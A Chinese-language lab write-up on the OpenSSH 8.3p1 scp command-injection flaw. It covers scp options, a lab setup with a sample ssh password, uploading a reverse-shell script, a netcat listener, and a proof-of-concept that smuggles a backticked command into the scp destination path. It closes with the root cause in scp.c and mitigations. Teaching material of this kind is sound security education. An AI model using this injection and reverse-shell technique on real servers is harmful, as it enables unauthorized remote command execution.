预备知识
漏洞描述
OpenSSH8.3p1及之前版本中scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。攻击者可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。
OpenSSH简介
OpenSSH是 SSH(Secure SHell) 协议的免费开源实现。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcpftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。
scp命令简介
scp 是安全拷贝协议(Secure Copy Protocol)的缩写,和众多Linux/Unix 使用者所熟知的拷贝(cp)命令一样。scp的使用方式类似于cp 命令,cp命令将一个文件或文件夹从本地操作系统的一个位置(源)拷贝到目标位置(目的),而scp用来将文件或文件夹从网络上的一个主机拷贝到另一个主机当中去。
scp一些基本参数如下:
-B 采取批量模式(避免询问密码或口令)
-C 启用压缩,通过指明-C参数来开启压缩模式。
-c 加密方式,选择在传输过程中用来加密的加密方式 这个选项会被直接传递到ssh。
-F ssh配置,给ssh指定一个用来替代默认配置的配置文件。这个选项会被直接传递到ssh。
-l 限速,限制命令使用的带宽,默认单位是 Kbit/s。
-P 端口,指定需要的连接的远程主机的端口。
注意,这个选项使用的是一个大写的“P”,因为小写的“-p”已经用来保留目标文件的时间和模式相关信息。(ssh命令中使用小写的“-p”来指定目标端口。)
-p 保留文件原来的修改时间,访问时间以及权限模式。
-q 静默模式:不显示来自ssh命令的进度信息,警告和诊断信息。
-r 递归拷贝整个目录。
注意,scp 命令在树形遍历的时候同样会跟随符号连接,复制所连接的文件。
-v 详细模式。scp和ssh将会打印出处理过程中的调试信息。这可以帮助你调试连接、认证和配置方面的问题。
实验目的
scp是secure copy的缩写。在linux系统中,scp用于linux之间复制文件和目录,基于ssh登陆进行安全的远程文件拷贝命令。该命令由openssh的scp.c及其他相关代码实现,通过这次实验你将了解到通过scp进行反弹shell的操作。
实验环境
目标机器:CentOS、IP:10.1.1.200
攻击机器:Kali
实验步骤一
确定目标机器是否存在漏洞,测试ssh与scp的使用情况。
1、目标机器查看ssh版本,是否在OpenSSH 8.3p1及之前
在OpenSSH8.3p1及之前说明存在操作系统命令注入漏洞。
2、攻击机器测试ssh与scp的使用情况:
1.txt中为测试内容,这里显示可以使用:
ssh密码:pA2sw0rb
实验步骤二
使用scp进行反弹shell的操作
首先在攻击机上创建一个linux的可执行的文件,并写入一个反弹shell的命令
使用scp命令,把该文件上传到目标机器的/tmp下,在tmp录下任何用户都是拥有读、写、执行的权限
scp RAI.sh root@10.1.1.200:/tmp/RAI.sh
在kali上开启监听
nc -vv -lvvp 5555
使用poc远程执行命令
scp zm.sh root@目标地址:'`sh /tmp/zm.sh`'
可以看到我们的shell已经弹回来了
实验步骤三
简述漏洞原理
使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:
scp Filename user@host:directory/Filename
在上述过程中,scp会使用”-t“参数来获取存储传入文件的路径,如下:
scp -t directory/Filename
问题就存在这个地方,也就是如图"scp.c"文件的991行。这个地方未对传入的文件路径进行检测防护,攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时payload将会发送到远程服务器并执行。
修复方案
目前厂商暂未发布修复措施解决此安全问题,等待官方补丁 https://www.openssh.com/
临时修复方案:
1、 加强ssh密码或密钥的保护,周期性更换密码或密钥
2、 使用rsync代替scp
具体实践: